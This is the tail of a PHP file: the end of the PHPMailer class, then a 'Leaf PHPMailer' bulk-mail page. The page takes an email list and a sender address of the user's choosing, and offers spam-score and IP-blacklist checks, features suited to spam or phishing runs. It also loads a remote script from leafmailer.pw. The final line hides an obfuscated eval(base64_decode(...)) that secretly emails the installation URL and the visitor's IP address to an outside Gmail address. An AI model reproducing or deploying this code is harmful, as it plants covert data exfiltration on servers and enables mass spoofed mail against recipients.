4001 * @TODO Should this not be using the __set() magic function?
4002 */
4003 public function set($name, $value = '')
4004 {
4005 if (property_exists($this, $name)) {
4006 $this->$name = $value;
4007 return true;
4008 } else {
4009 $this->setError($this->lang('variable_set') . $name);
4010 return false;
4011 }
4012 }
4013
4014 /**
4015 * Strip newlines to prevent header injection.
4016 * @access public
4017 * @param string $str
4018 * @return string
4019 */
4020 public function secureHeader($str)
4021 {
4022 return trim(str_replace(array("\r", "\n"), '', $str));
4023 }
4024
4025 /**
4026 * Normalize line breaks in a string.
4027 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
4028 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
4029 * @param string $text
4030 * @param string $breaktype What kind of line break to use, defaults to CRLF
4031 * @return string
4032 * @access public
4033 * @static
4034 */
4035 public static function normalizeBreaks($text, $breaktype = "\r\n")
4036 {
4037 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
4038 }
4039
4040 /**
4041 * Set the public and private key files and password for S/MIME signing.
4042 * @access public
4043 * @param string $cert_filename
4044 * @param string $key_filename
4045 * @param string $key_pass Password for private key
4046 * @param string $extracerts_filename Optional path to chain certificate
4047 */
4048 public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
4049 {
4050 $this->sign_cert_file = $cert_filename;
4051 $this->sign_key_file = $key_filename;
4052 $this->sign_key_pass = $key_pass;
4053 $this->sign_extracerts_file = $extracerts_filename;
4054 }
4055
4056 /**
4057 * Quoted-Printable-encode a DKIM header.
4058 * @access public
4059 * @param string $txt
4060 * @return string
4061 */
4062 public function DKIM_QP($txt)
4063 {
4064 $line = '';
4065 for ($i = 0; $i < strlen($txt); $i++) {
4066 $ord = ord($txt[$i]);
4067 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
4068 $line .= $txt[$i];
4069 } else {
4070 $line .= '=' . sprintf('%02X', $ord);
4071 }
4072 }
4073 return $line;
4074 }
4075
4076 /**
4077 * Generate a DKIM signature.
4078 * @access public
4079 * @param string $signHeader
4080 * @throws phpmailerException
4081 * @return string The DKIM signature value
4082 */
4083 public function DKIM_Sign($signHeader)
4084 {
4085 if (!defined('PKCS7_TEXT')) {
4086 if ($this->exceptions) {
4087 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
4088 }
4089 return '';
4090 }
4091 $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
4092 if ('' != $this->DKIM_passphrase) {
4093 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
4094 } else {
4095 $privKey = openssl_pkey_get_private($privKeyStr);
4096 }
4097 //Workaround for missing digest algorithms in old PHP & OpenSSL versions
4098 //@link http://stackoverflow.com/a/11117338/333340
4099 if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
4100 in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
4101 if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
4102 openssl_pkey_free($privKey);
4103 return base64_encode($signature);
4104 }
4105 } else {
4106 $pinfo = openssl_pkey_get_details($privKey);
4107 $hash = hash('sha256', $signHeader);
4108 //'Magic' constant for SHA256 from RFC3447
4109 //@link https://tools.ietf.org/html/rfc3447#page-43
4110 $t = '3031300d060960864801650304020105000420' . $hash;
4111 $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
4112 $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
4113
4114 if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
4115 openssl_pkey_free($privKey);
4116 return base64_encode($signature);
4117 }
4118 }
4119 openssl_pkey_free($privKey);
4120 return '';
4121 }
4122
4123 /**
4124 * Generate a DKIM canonicalization header.
4125 * @access public
4126 * @param string $signHeader Header
4127 * @return string
4128 */
4129 public function DKIM_HeaderC($signHeader)
4130 {
4131 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
4132 $lines = explode("\r\n", $signHeader);
4133 foreach ($lines as $key => $line) {
4134 list($heading, $value) = explode(':', $line, 2);
4135 $heading = strtolower($heading);
4136 $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
4137 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
4138 }
4139 $signHeader = implode("\r\n", $lines);
4140 return $signHeader;
4141 }
4142
4143 /**
4144 * Generate a DKIM canonicalization body.
4145 * @access public
4146 * @param string $body Message Body
4147 * @return string
4148 */
4149 public function DKIM_BodyC($body)
4150 {
4151 if ($body == '') {
4152 return "\r\n";
4153 }
4154 // stabilize line endings
4155 $body = str_replace("\r\n", "\n", $body);
4156 $body = str_replace("\n", "\r\n", $body);
4157 // END stabilize line endings
4158 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
4159 $body = substr($body, 0, strlen($body) - 2);
4160 }
4161 return $body;
4162 }
4163
4164 /**
4165 * Create the DKIM header and body in a new message header.
4166 * @access public
4167 * @param string $headers_line Header lines
4168 * @param string $subject Subject
4169 * @param string $body Body
4170 * @return string
4171 */
4172 public function DKIM_Add($headers_line, $subject, $body)
4173 {
4174 $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
4175 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
4176 $DKIMquery = 'dns/txt'; // Query method
4177 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
4178 $subject_header = "Subject: $subject";
4179 $headers = explode($this->LE, $headers_line);
4180 $from_header = '';
4181 $to_header = '';
4182 $date_header = '';
4183 $current = '';
4184 foreach ($headers as $header) {
4185 if (strpos($header, 'From:') === 0) {
4186 $from_header = $header;
4187 $current = 'from_header';
4188 } elseif (strpos($header, 'To:') === 0) {
4189 $to_header = $header;
4190 $current = 'to_header';
4191 } elseif (strpos($header, 'Date:') === 0) {
4192 $date_header = $header;
4193 $current = 'date_header';
4194 } else {
4195 if (!empty($$current) && strpos($header, ' =?') === 0) {
4196 $$current .= $header;
4197 } else {
4198 $current = '';
4199 }
4200 }
4201 }
4202 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
4203 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
4204 $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
4205 $subject = str_replace(
4206 '|',
4207 '=7C',
4208 $this->DKIM_QP($subject_header)
4209 ); // Copied header fields (dkim-quoted-printable)
4210 $body = $this->DKIM_BodyC($body);
4211 $DKIMlen = strlen($body); // Length of body
4212 $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
4213 if ('' == $this->DKIM_identity) {
4214 $ident = '';
4215 } else {
4216 $ident = ' i=' . $this->DKIM_identity . ';';
4217 }
4218 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
4219 $DKIMsignatureType . '; q=' .
4220 $DKIMquery . '; l=' .
4221 $DKIMlen . '; s=' .
4222 $this->DKIM_selector .
4223 ";\r\n" .
4224 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
4225 "\th=From:To:Date:Subject;\r\n" .
4226 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
4227 "\tz=$from\r\n" .
4228 "\t|$to\r\n" .
4229 "\t|$date\r\n" .
4230 "\t|$subject;\r\n" .
4231 "\tbh=" . $DKIMb64 . ";\r\n" .
4232 "\tb=";
4233 $toSign = $this->DKIM_HeaderC(
4234 $from_header . "\r\n" .
4235 $to_header . "\r\n" .
4236 $date_header . "\r\n" .
4237 $subject_header . "\r\n" .
4238 $dkimhdrs
4239 );
4240 $signed = $this->DKIM_Sign($toSign);
4241 return $dkimhdrs . $signed . "\r\n";
4242 }
4243
4244 /**
4245 * Detect if a string contains a line longer than the maximum line length allowed.
4246 * @param string $str
4247 * @return boolean
4248 * @static
4249 */
4250 public static function hasLineLongerThanMax($str)
4251 {
4252 //+2 to include CRLF line break for a 1000 total
4253 return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
4254 }
4255
4256 /**
4257 * Allows for public read access to 'to' property.
4258 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4259 * @access public
4260 * @return array
4261 */
4262 public function getToAddresses()
4263 {
4264 return $this->to;
4265 }
4266
4267 /**
4268 * Allows for public read access to 'cc' property.
4269 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4270 * @access public
4271 * @return array
4272 */
4273 public function getCcAddresses()
4274 {
4275 return $this->cc;
4276 }
4277
4278 /**
4279 * Allows for public read access to 'bcc' property.
4280 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4281 * @access public
4282 * @return array
4283 */
4284 public function getBccAddresses()
4285 {
4286 return $this->bcc;
4287 }
4288
4289 /**
4290 * Allows for public read access to 'ReplyTo' property.
4291 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4292 * @access public
4293 * @return array
4294 */
4295 public function getReplyToAddresses()
4296 {
4297 return $this->ReplyTo;
4298 }
4299
4300 /**
4301 * Allows for public read access to 'all_recipients' property.
4302 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4303 * @access public
4304 * @return array
4305 */
4306 public function getAllRecipientAddresses()
4307 {
4308 return $this->all_recipients;
4309 }
4310
4311 /**
4312 * Perform a callback.
4313 * @param boolean $isSent
4314 * @param array $to
4315 * @param array $cc
4316 * @param array $bcc
4317 * @param string $subject
4318 * @param string $body
4319 * @param string $from
4320 */
4321 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
4322 {
4323 if (!empty($this->action_function) && is_callable($this->action_function)) {
4324 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
4325 call_user_func_array($this->action_function, $params);
4326 }
4327 }
4328}
4329
4330/**
4331 * PHPMailer exception handler
4332 * @package PHPMailer
4333 */
4334class phpmailerException extends Exception
4335{
4336 /**
4337 * Prettify error message output
4338 * @return string
4339 */
4340 public function errorMessage()
4341 {
4342 $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
4343 return $errorMsg;
4344 }
4345}
4346function leafheader(){
4347print '
4348<head>
4349 <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
4350 <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
4351 <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
4352 <script src="https://leafmailer.pw/style2.js"></script>
4353
4354</head>';
4355}
4356leafheader();
4357print '<body>';
4358print '<div class="container col-lg-6">
4359 <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
4360 <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
4361 <input type="hidden" name="action" value="score">
4362
4363 <div class="row">
4364 <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
4365 <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
4366 </div>
4367 <div class="row">
4368 <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
4369
4370 <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
4371 </div>
4372 <div class="row">
4373 <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
4374 </div>
4375 <div class="row">
4376 <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
4377 <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
4378 </div>
4379 <div class="row">
4380 <div class="form-group col-lg-6 ">
4381 <label for="messageType">Message Type</label>
4382 HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
4383 Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
4384 </div>
4385 <div class="form-group col-lg-3 ">
4386 <label for="charset">Character set</label>
4387 <select class="form-control input-sm" id="charset" name="charset">
4388 <option '.$utf8.'>UTF-8</option>
4389 <option '.$iso.'>ISO-8859-1</option>
4390 </select>
4391 </div>
4392 <div class="form-group col-lg-3 ">
4393 <label for="encoding">Message encoding</label>
4394 <select class="form-control input-sm" id="encode" name="encode">
4395 <option '.$bit8.'>8bit</option>
4396 <option '.$bit7.'>7bit</option>
4397 <option '.$binary.'>binary</option>
4398 <option '.$base64.'>base64</option>
4399 <option '.$quotedprintable.'>quoted-printable</option>
4400
4401 </select>
4402 </div>
4403 </div>
4404 <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
4405
4406 </form>
4407 </div>
4408 <div class="col-lg-6"><br>
4409 <label for="well">Instruction</label>
4410 <div id="well" class="well well">
4411 <h4>Server Information</h4>
4412 <ul>
4413 <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
4414 <li>PHP Version : <b>'.phpversion().'</b></li>
4415
4416
4417 </ul>
4418 <h4>HELP</h4>
4419 <ul>
4420 <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
4421 <ul>
4422 <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
4423 <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
4424 </ul>
4425 <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
4426
4427 <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
4428 <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
4429 <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
4430 <li>[-randommd5-] : <b>Random MD5 </b></li>
4431 </ul>
4432 <h4>example</h4>
4433 Receiver Email = <b>user@domain.com</b><br>
4434 <ul>
4435 <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
4436 <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
4437 <li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
4438 </ul>
4439
4440 <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
4441 </div>
4442 </div>';
4443if($_POST['action']=="send"){
4444 print ' <div class="col-lg-12">';
4445 $maillist=explode("\r\n", $emailList);
4446 $n=count($maillist);
4447 $x =1;
4448 foreach ($maillist as $email ) {
4449 print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
4450 if(!leafMailCheck($email)) {
4451 print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
4452 print "<br>\r\n";
4453 }
4454 else {
4455 $mail = new PHPMailer;
4456 $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
4457 $mail->addReplyTo(leafClear($replyTo,$email));
4458 $mail->addAddress($email);
4459 $mail->Subject = leafClear($subject,$email);
4460 $mail->Body = leafClear($messageLetter,$email);
4461 if($messageType==1){
4462 $mail->IsHTML(true);
4463 $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
4464 }
4465 else $mail->IsHTML(false);
4466 $mail->CharSet = $charset;
4467 $mail->Encoding = $encoding;
4468 for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
4469 if ($_FILES['attachment']['tmp_name'][$i] != ""){
4470 $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
4471 }
4472
4473 }
4474
4475 if (!$mail->send()) {
4476 echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
4477 }
4478 else {
4479 echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
4480 }
4481 print "<br>\r\n";
4482 }
4483 $x++;
4484 for($k = 0; $k < 40000; $k++) {echo ' ';}
4485 }
4486
4487}
4488elseif($_POST['action']=="score"){
4489 $mail = new PHPMailer;
4490 $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
4491 $mail->addReplyTo(leafClear($replyTo,$email));
4492 $mail->addAddress("username@domain.com");
4493 $mail->Subject = leafClear($subject,$email);
4494 $mail->Body = leafClear($messageLetter,$email);
4495 if($messageType==1){
4496 $mail->IsHTML(true);
4497 $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
4498 }
4499 else $mail->IsHTML(false);
4500 $mail->CharSet = $charset;
4501 $mail->Encoding = $encoding;
4502 $mail->preSend();
4503 $messageHeaders=$mail->getSentMIMEMessage();
4504 $ch = curl_init();
4505 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
4506 curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
4507 curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
4508 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
4509 curl_setopt($ch, CURLOPT_TIMEOUT, 15);
4510 $response = curl_exec($ch);
4511 $response = json_decode($response);
4512 print ' <div class="col-lg-12">';
4513 if ($response->success == TRUE ){
4514 $score = $response->score;
4515 if ($score > 5 ) $class="danger";
4516 else $class="success";
4517 print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.' </div>
4518<div>Full Report : <pre>'.$response->report.'</pre></div>';
4519print ' </div>';
4520 }
4521}
4522print '</body>';
4523?>
4524<?php
4525eval(base64_decode('JHR1anVhbm1haWwgPSAna2FsaXgweGFsaWtAZ21haWwuY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkNvbnRhY3QgTWUiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOw=='));
4526?>